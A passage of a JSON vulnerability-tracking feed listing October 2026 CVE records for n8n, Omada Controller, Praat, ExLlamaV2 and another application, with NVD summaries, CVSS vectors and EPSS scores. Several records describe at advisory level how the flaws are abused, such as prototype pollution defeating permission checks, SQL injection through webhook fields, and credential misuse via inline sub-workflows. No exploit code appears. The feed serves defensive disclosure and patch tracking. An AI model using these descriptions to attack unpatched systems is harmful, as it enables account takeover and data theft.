fixes.","publishedAt":"2026-10-14T23:17:25.097Z","updatedAt":"2026-10-26T17:17:15.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110845","asOf":"2026-10-26T17:17:15.520Z"},"epss":{"probability":0.00336,"percentile":0.26733,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110845&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110845","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110845","type":"primary","publishedAt":"2026-10-14T23:17:25.097Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110845&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110845, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110844","cveId":"CVE-2026-110844","aliases":[],"kind":"vulnerability","title":"n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool...","summary":"n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool inline sub-workflows. Attackers can save workflows with Workflow Tool or Workflow Retriever inline definitions referencing restricted credentials, which execute using the workflow owner's credential values.","detail":"n8n before 1.123.83 contains an authorization bypass vulnerability that allows shared-workflow editors to use credentials they cannot access by embedding them in nested or tool inline sub-workflows. Attackers can save workflows with Workflow Tool or Workflow Retriever inline definitions referencing restricted credentials, which execute using the workflow owner's credential values.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:24.940Z","updatedAt":"2026-10-15T16:17:47.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110844","asOf":"2026-10-15T16:17:47.430Z"},"epss":{"probability":0.00282,"percentile":0.20461,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110844","type":"primary","publishedAt":"2026-10-14T23:17:24.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110843","cveId":"CVE-2026-110843","aliases":[],"kind":"vulnerability","title":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by...","summary":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by URL path but stores the caller's raw identifier as the record key. Unauthenticated attackers can send identifiers differing only in their query string to create unlimited first-party client records that bypass the registration cap, growing the database until the disk fills.","detail":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains an uncontrolled resource consumption vulnerability in the unauthenticated OAuth authorize endpoint, which resolves clients by URL path but stores the caller's raw identifier as the record key. Unauthenticated attackers can send identifiers differing only in their query string to create unlimited first-party client records that bypass the registration cap, growing the database until the disk fills.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:24.787Z","updatedAt":"2026-10-16T18:17:33.663Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110843","asOf":"2026-10-16T18:17:33.663Z"},"epss":{"probability":0.00291,"percentile":0.21477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110843","type":"primary","publishedAt":"2026-10-14T23:17:24.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110842","cveId":"CVE-2026-110842","aliases":[],"kind":"vulnerability","title":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in...","summary":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in the main process, reads inherited properties, and permits assignment onto shared prototypes. An authenticated member holding only a workflow:read grant can replace a built-in method with one returning a truthy value so server-side permission checks accept unheld scopes, enabling takeover of owner accounts not protected by MFA.","detail":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in the main process, reads inherited properties, and permits assignment onto shared prototypes. An authenticated member holding only a workflow:read grant can replace a built-in method with one returning a truthy value so server-side permission checks accept unheld scopes, enabling takeover of owner accounts not protected by MFA.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:24.637Z","updatedAt":"2026-10-15T14:17:20.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110842","asOf":"2026-10-15T14:17:20.867Z"},"epss":{"probability":0.00312,"percentile":0.23894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110842&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110842","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110842","type":"primary","publishedAt":"2026-10-14T23:17:24.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110842&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110842, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110840","cveId":"CVE-2026-110840","aliases":[],"kind":"vulnerability","title":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly...","summary":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly into SQL text without parameterisation. When a workflow binds untrusted input such as webhook fields to the Query field, unauthenticated external callers can execute arbitrary SQL against the connected database with the stored credential's privileges.","detail":"n8n before 2.41.4 and 2.42.x before 2.42.1 contains an SQL injection vulnerability in version 1 of the Microsoft SQL node, which substitutes Query field expression values directly into SQL text without parameterisation. When a workflow binds untrusted input such as webhook fields to the Query field, unauthenticated external callers can execute arbitrary SQL against the connected database with the stored credential's privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:24.320Z","updatedAt":"2026-10-15T19:17:23.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110840","asOf":"2026-10-15T19:17:23.960Z"},"epss":{"probability":0.00292,"percentile":0.21542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110840","type":"primary","publishedAt":"2026-10-14T23:17:24.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107795","cveId":"CVE-2026-107795","aliases":[],"kind":"vulnerability","title":"Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform...","summary":"Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform privileged certificate management operations. \n\nSuccessful exploitation may allow a low-privileged authenticated user to upload or delete the controller's TLS certificate or private key, potentially disrupting secure management access.","detail":"Omada Controller's MSP and OpenAPI certificate/private-key management APIs do not properly enforce administrative authorization, allowing an authenticated user to perform privileged certificate management operations. \n\nSuccessful exploitation may allow a low-privileged authenticated user to upload or delete the controller's TLS certificate or private key, potentially disrupting secure management access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T23:17:22.250Z","updatedAt":"2026-10-16T04:18:24.267Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107795","asOf":"2026-10-16T04:18:24.267Z"},"epss":{"probability":0.00227,"percentile":0.13289,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107795","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107795","type":"primary","publishedAt":"2026-10-14T23:17:22.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110698","cveId":"CVE-2026-110698","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model...","summary":"A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model Loader. The manipulation of the argument n_dims leads to out-of-bounds write. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The identifier of the patch is a910d21a2705ef4cd16d91f29cdc8da1ab1a7221. To fix this issue, it is recommended to deploy a patch. The project maintainer confirms: \"We did a quick fix (suggested fix 1) for Praat version 7.0.03, and scheduled a better fix (suggested fix 2).\"","detail":"A security vulnerability has been detected in Praat up to 7.0.02. Affected is the function whisper_model_load of the file external/whispercpp/whisper.cpp of the component Model Loader. The manipulation of the argument n_dims leads to out-of-bounds write. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The identifier of the patch is a910d21a2705ef4cd16d91f29cdc8da1ab1a7221. To fix this issue, it is recommended to deploy a patch. The project maintainer confirms: \"We did a quick fix (suggested fix 1) for Praat version 7.0.03, and scheduled a better fix (suggested fix 2).\"\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T22:17:23.050Z","updatedAt":"2026-10-20T03:17:13.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110698","asOf":"2026-10-20T03:17:13.360Z"},"epss":{"probability":0.00324,"percentile":0.25159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110698&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110698","type":"primary","publishedAt":"2026-10-14T22:17:23.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110698&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110698, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110695","cveId":"CVE-2026-110695","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor...","summary":"A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor Loader. Performing a manipulation of the argument data_offsets results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in turboderp ExLlamaV2 up to 0.3.2. Affected is the function STFile.get_tensor of the file exllamav2/stloader.py of the component Safetensors Tensor Loader. Performing a manipulation of the argument data_offsets results in buffer overflow. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T22:17:22.697Z","updatedAt":"2026-10-15T16:17:45.997Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110695","asOf":"2026-10-15T16:17:45.997Z"},"epss":{"probability":0.00362,"percentile":0.29785,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110695","type":"primary","publishedAt":"2026-10-14T22:17:22.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108337","cveId":"CVE-2026-108337","aliases":[],"kind":"vulnerability","title":"An administrator could retrieve the password reset code for any user and take over the account.","summary":"An administrator could retrieve the password reset code for any user and take over the account.\n\n\n\nThe password reset codes were included in the output of an API and could be used to reset the password of any account. The API is limited to use by administrator accounts only.\n\n\n\nAn attacker who already has administrative access to the application could compromise the credentials of other accounts on the application. Device credentials and customer data cannot be accessed with this vulnerability.","detail":"An administrator could retrieve the password reset code for any user and take over the account.\n\n\n\nThe password reset codes were included in the output of an API and could be used to reset the password of any account. The API is limited to use by administrator accounts only.\n\n\n\nAn attacker who already has administrative access to the application could compromise the credentials of other accounts on the application. Device credentials and customer data cannot be accessed with this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T22:17:22.563Z","updatedAt":"2026-10-16T21:17:19.340Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108337","asOf":"2026-10-16T21:17:19.340Z"},"epss":{"probability":0.00282,"percentile":0.20566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108337","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108337","type":"primary","publishedAt":"2026-10-14T22:17:22.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102298","cveId":"CVE-2026-102298","aliases":[],"kind":"vulnerability","title":"In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check.","summary":"In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. An authenticated user can supply a caller-controlled Identifier parameter to validate credentials for another account and receive responses that distinguish nonexistent users, invalid passwords, and successful authentication. \n\nSuccessful exploitation may allow user enumeration, credential verification, and unauthorized access to MSP resources or compromise of targeted accounts.","detail":"In Omada Controller MSP mode, the user-confirmation endpoint fails to enforce the required permission check. An authenticated user can supply a caller-controlled Identifier parameter to validate credentials for another account and receive responses that distinguish nonexistent users, invalid passwords, and successful authentication. \n\nSuccessful exploitation may allow user enumeration, credential verification, and unauthorized access to MSP resources or compromise of targeted accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T22:17:22.150Z","updatedAt":"2026-10-16T15:17:01.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102298","asOf":"2026-10-16T15:17:01.903Z"},"epss":{"probability":0.00437,"percentile":0.37702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102298","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102298","type":"primary","publishedAt":"2026-10-14T22:17:22.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 